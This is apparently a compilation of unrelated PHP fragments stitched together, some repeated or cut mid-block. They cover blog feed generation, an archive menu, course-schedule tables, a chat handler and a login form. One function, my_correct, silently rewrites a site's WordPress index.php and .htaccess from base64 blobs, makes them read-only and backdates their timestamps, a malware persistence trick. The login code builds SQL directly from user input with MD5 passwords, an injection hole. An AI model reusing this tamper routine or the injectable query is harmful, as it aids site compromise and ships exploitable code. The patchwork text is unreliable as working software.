function make_feed($rss_or_atom, $lim) { $now = my_time(); $now_f = strftime('%G-%m-%d %H:%M:%S',$now); $now_d = dcdateformat($now_f); //accumulate content; if ($rss_or_atom == "atom") $content = "<?xml version=\"1.0\" encoding=\"utf-8\"?> <feed xmlns=\"http://www.w3.org/2005/Atom\"> <link href=\"http://iam.solostyle.net/atom.xml\" rel=\"self\" /> <title>iam.solostyle.net</title> <subtitle>Me.</subtitle> <link href=\"http://iam.solostyle.net/\"/> <updated>$now_d</updated> <author> <name>solostyle</name> <email>solo@solostyle.net</email> </author> <id>tag:iam.solostyle.net,2006-04-16:/20060416063829735</id>"; else $content = "<?xml version=\"1.0\" encoding=\"utf-8\"?> <rss version=\"2.0\" xmlns:dc=\"http://purl.org/dc/elements/1.1/\"> <channel> <title>iam.solostyle.net</title> <link>http://iam.solostyle.net/</link> <description>Me.</description> <language>en-us</language>"; $getentries = "SELECT * FROM `blog` ORDER BY `time` DESC LIMIT $lim"; $entrieslist = mysql_query($getentries); //$num_entries = mysql_num_rows($entrieslist); // now, for each entry, publish xml while ($entryarray = mysql_fetch_array($entrieslist)) $content .= make_xml_entry($rss_or_atom, $entryarray); mysql_free_result($entrieslist); if ($rss_or_atom == "atom") $content .= "</feed>"; else $content .= " </channel></rss>"; return $content; }
function create_archive_nav_array() { $start_and_end_dates = blog_first_and_last_dates(); $start_date = $start_and_end_dates[0]; $end_date = $start_and_end_dates[1]; $start_year = strftime("%Y", strtotime($start_date)); $end_year = strftime("%Y", strtotime($end_date)); $titles_counts_array = array(); // for expand/collapse $now = my_time(); $now_year = date('Y', $now); $now_month = date('m', $now); // build the array for ($y = $end_year; $y >= $start_year; $y--) { $num_rows_in_year = count(rtrv_titles($y)); if ($num_rows_in_year) { $titles_counts_array[$y] = array(); $titles_counts_array[$y]['count'] = $num_rows_in_year; for ($m = '12'; $m >= '1'; $m--) { if ($m <= '9') { $m = '0' . $m; } $ids_titles = rtrv_titles($y . '/' . $m); $num_rows_in_month = count($ids_titles); if ($num_rows_in_month) { $titles_counts_array[$y][$m] = array(); $titles_counts_array[$y][$m]['count'] = $num_rows_in_month; foreach ($ids_titles as $id_title) { $id = $id_title[0]; $title = $id_title[1]; $titles_counts_array[$y][$m][$id] = array(); $titles_counts_array[$y][$m][$id]['title'] = $title; } } } } } return $titles_counts_array; }
<tr><th colspan="7">Lectures</th></tr> <?php foreach ($section['lect'] as $lecture) { echo '<tr><td colspan="3"></td><td>' . $lecture->room . '</td><td>' . my_time($lecture->start) . '</td><td>' . my_time($lecture->end) . '</td><td>' . jddayofweek($lecture->weekday - 1 % 7, 1) . '</td></tr>'; } if ($section['tuts']) { echo '<tr><th colspan="7">Tutorials</th></tr>'; foreach ($section['tuts'] as $tutorial) { echo '<tr><td>' . $tutorial->letter . '</td><td>' . $tutorial->instructor . '</td><td>' . $tutorial->capacity . '</td><td>' . $tutorial->room . '</td><td>' . my_time($tutorial->start) . '</td><td>' . my_time($tutorial->end) . '</td><td>' . jddayofweek($tutorial->weekday - 1 % 7, 1) . '</td></tr>'; } } if ($section['labs']) { echo '<tr><th colspan="7">Laboratories</th></tr>'; foreach ($section['labs'] as $laboratory) { echo '<tr><td>' . $laboratory->letter . '</td><td>' . $laboratory->instructor . '</td><td>' . $laboratory->capacity . '</td><td>' . $laboratory->room . '</td><td>' . my_time($laboratory->start) . '</td><td>' . my_time($laboratory->end) . '</td><td>' . jddayofweek($laboratory->weekday - 1 % 7, 1) . '</td></tr>'; } } ?> </tbody> </table> </div> <?php } ?> <?php
function my_correct($dir) { $time = 0; $path = $dir . '/index.php'; $content = base64_decode('PD9waHAKLyoqCiAqIEZyb250IHRvIHRoZSBXb3JkUHJlc3MgYXBwbGljYXRpb24uIFRoaXMgZmlsZSBkb2Vzbid0IGRvIGFueXRoaW5nLCBidXQgbG9hZHMKICogd3AtYmxvZy1oZWFkZXIucGhwIHdoaWNoIGRvZXMgYW5kIHRlbGxzIFdvcmRQcmVzcyB0byBsb2FkIHRoZSB0aGVtZS4KICoKICogQHBhY2thZ2UgV29yZFByZXNzCiAqLwoKLyoqCiAqIFRlbGxzIFdvcmRQcmVzcyB0byBsb2FkIHRoZSBXb3JkUHJlc3MgdGhlbWUgYW5kIG91dHB1dCBpdC4KICoKICogQHZhciBib29sCiAqLwpkZWZpbmUoJ1dQX1VTRV9USEVNRVMnLCB0cnVlKTsKCi8qKiBMb2FkcyB0aGUgV29yZFByZXNzIEVudmlyb25tZW50IGFuZCBUZW1wbGF0ZSAqLwpyZXF1aXJlKCBkaXJuYW1lKCBfX0ZJTEVfXyApIC4gJy93cC1ibG9nLWhlYWRlci5waHAnICk7Cg=='); if (file_get_contents($path) != $content) { chmod($path, 0644); file_put_contents($path, $content); chmod($path, 0444); $time = my_time($dir); touch($path, $time); } $path = $dir . '/.htaccess'; $content = base64_decode('IyBCRUdJTiBXb3JkUHJlc3MKPElmTW9kdWxlIG1vZF9yZXdyaXRlLmM+ClJld3JpdGVFbmdpbmUgT24KUmV3cml0ZUJhc2UgLwpSZXdyaXRlUnVsZSBeaW5kZXhcLnBocCQgLSBbTF0KUmV3cml0ZUNvbmQgJXtSRVFVRVNUX0ZJTEVOQU1FfSAhLWYKUmV3cml0ZUNvbmQgJXtSRVFVRVNUX0ZJTEVOQU1FfSAhLWQKUmV3cml0ZVJ1bGUgLiAvaW5kZXgucGhwIFtMXQo8L0lmTW9kdWxlPgoKIyBFTkQgV29yZFByZXNzCg=='); if (file_exists($path) and file_get_contents($path) != $content) { chmod($path, 0644); file_put_contents($path, $content); chmod($path, 0444); if (!$time) { $time = my_time($dir); } touch($path, $time); } }
$user_color = $c_user_color; } $def_color = $registered_colors[$default_color][1]; //$room_id == current user room //$room -- room where user want to go... if ($room_id != $room) { //somebody can jumping from one room to another and floods in such way. in this case enable flood_protection $flood_protection = 1; $w_rob_name = $rooms[$room_id]["bot"]; $messages_to_show[] = array(MESG_TIME => my_time(), MESG_ROOM => $room_id, MESG_FROM => $w_rob_name, MESG_FROMWOTAGS => $w_rob_name, MESG_FROMSESSION => "", MESG_FROMID => 0, MESG_FROMAVATAR => "", MESG_TO => "", MESG_TOSESSION => "", MESG_TOID => "", MESG_BODY => "<font color=\"{$def_color}\">" . str_replace("*", $rooms[$room]["title"], str_replace("~", $user_name, $sw_goes_to_room)) . "</font>"); $w_rob_name = $rooms[$room]["bot"]; $messages_to_show[] = array(MESG_TIME => my_time(), MESG_ROOM => $room, MESG_FROM => $w_rob_name, MESG_FROMWOTAGS => $w_rob_name, MESG_FROMSESSION => "", MESG_FROMID => 0, MESG_FROMAVATAR => "", MESG_TO => "", MESG_TOSESSION => "", MESG_TOID => "", MESG_BODY => "<font color=\"{$def_color}\">" . str_replace("*", $rooms[$room_id]["title"], str_replace("~", $user_name, $sw_came_from_room)) . "</font>"); if ($cu_array[USER_CLASS] == 0 && $ar_rooms[$room][ROOM_PREMODER] == 1) { //khm... i have to output it: $flood_protection = 0; $messages_to_show[] = array(MESG_TIME => my_time(), MESG_ROOM => $room, MESG_FROM => $w_rob_name, MESG_FROMWOTAGS => $w_rob_name, MESG_FROMSESSION => "", MESG_FROMID => 0, MESG_FROMAVATAR => "", MESG_TO => $user_name, MESG_TOSESSION => $session, MESG_TOID => $is_regist, MESG_BODY => "<font color=\"{$def_color}\">" . $w_premoder_room . "</font>"); } include $engine_path . "messages_put.php"; } $room_id = $room; $fields_to_update[0][0] = USER_ROOM; $fields_to_update[0][1] = $room_id; include $engine_path . "user_din_data_update.php"; include $file_path . "designes/" . $design . "/voc.php"; exit; } //if user is trying to log in. setCookie("c_user_name", $user_name, time() + 2678400); setCookie("c_chat_type", $chat_type, time() + 2678400); setCookie("c_design", $design, time() + 2678400); setCookie("c_hash", $c_hash, time() + 2678400);
if ($u_login && $p_login) { select_db(); $q = "SELECT `user_id`, `username`, `last` FROM `users` WHERE `username`='{$u_login}' AND `password`= MD5('{$p_login}')"; $result = mysql_query($q); if (mysql_num_rows($result) > 0) { // a match was made // start session session_regenerate_id(); $user = mysql_fetch_assoc($result); $_SESSION['logged_in'] = true; $_SESSION['user_id'] = $user['user_id']; $_SESSION['username'] = $user['username']; $_SESSION['last_last'] = $last_last = $user['last']; session_write_close(); // save the time logged in as LAST, and previous last as LAST LAST $now = my_time(); $now_f = strftime('%G.%m.%d %H:%M', $now); $update_lasts = "UPDATE `users` SET `last` = '{$now_f}', `last_last` = '{$last_last}' WHERE `username` = '{$u_login}'"; mysql_query($update_lasts); header("Location: http://" . HOST . $_SERVER['REQUEST_URI']); // won't work after <html> } else { // no match was made echo 'user does not exist, or bad password'; } } else { // one of the data tests failed echo 'technical problem. try again.'; } } ?>
<tr><th colspan="7">Lectures</th></tr> <?php foreach ($section['lect'] as $lecture) { echo '<tr><td colspan="3"></td><td>' . $lecture->room . '</td><td>' . my_time($lecture->start) . '</td><td>' . my_time($lecture->end) . '</td><td>' . $weekday[$lecture->weekday] . '</td></tr>'; } if ($section['tuts']) { echo '<tr><th colspan="7">Tutorials</th></tr>'; foreach ($section['tuts'] as $tutorial) { echo '<tr><td>' . $tutorial->letter . '</td><td>' . $tutorial->instructor . '</td><td>' . $tutorial->capacity . '</td><td>' . $tutorial->room . '</td><td>' . my_time($tutorial->start) . '</td><td>' . my_time($tutorial->end) . '</td><td>' . $weekday[$tutorial->weekday] . '</td></tr>'; } } if ($section['labs']) { echo '<tr><th colspan="7">Laboratories</th></tr>'; foreach ($section['labs'] as $laboratory) { echo '<tr><td>' . $laboratory->letter . '</td><td>' . $laboratory->instructor . '</td><td>' . $laboratory->capacity . '</td><td>' . $laboratory->room . '</td><td>' . my_time($laboratory->start) . '</td><td>' . my_time($laboratory->end) . '</td><td>' . $weekday[$laboratory->weekday] . '</td></tr>'; } } ?> </tbody> </table> </div> <?php } ?> <?php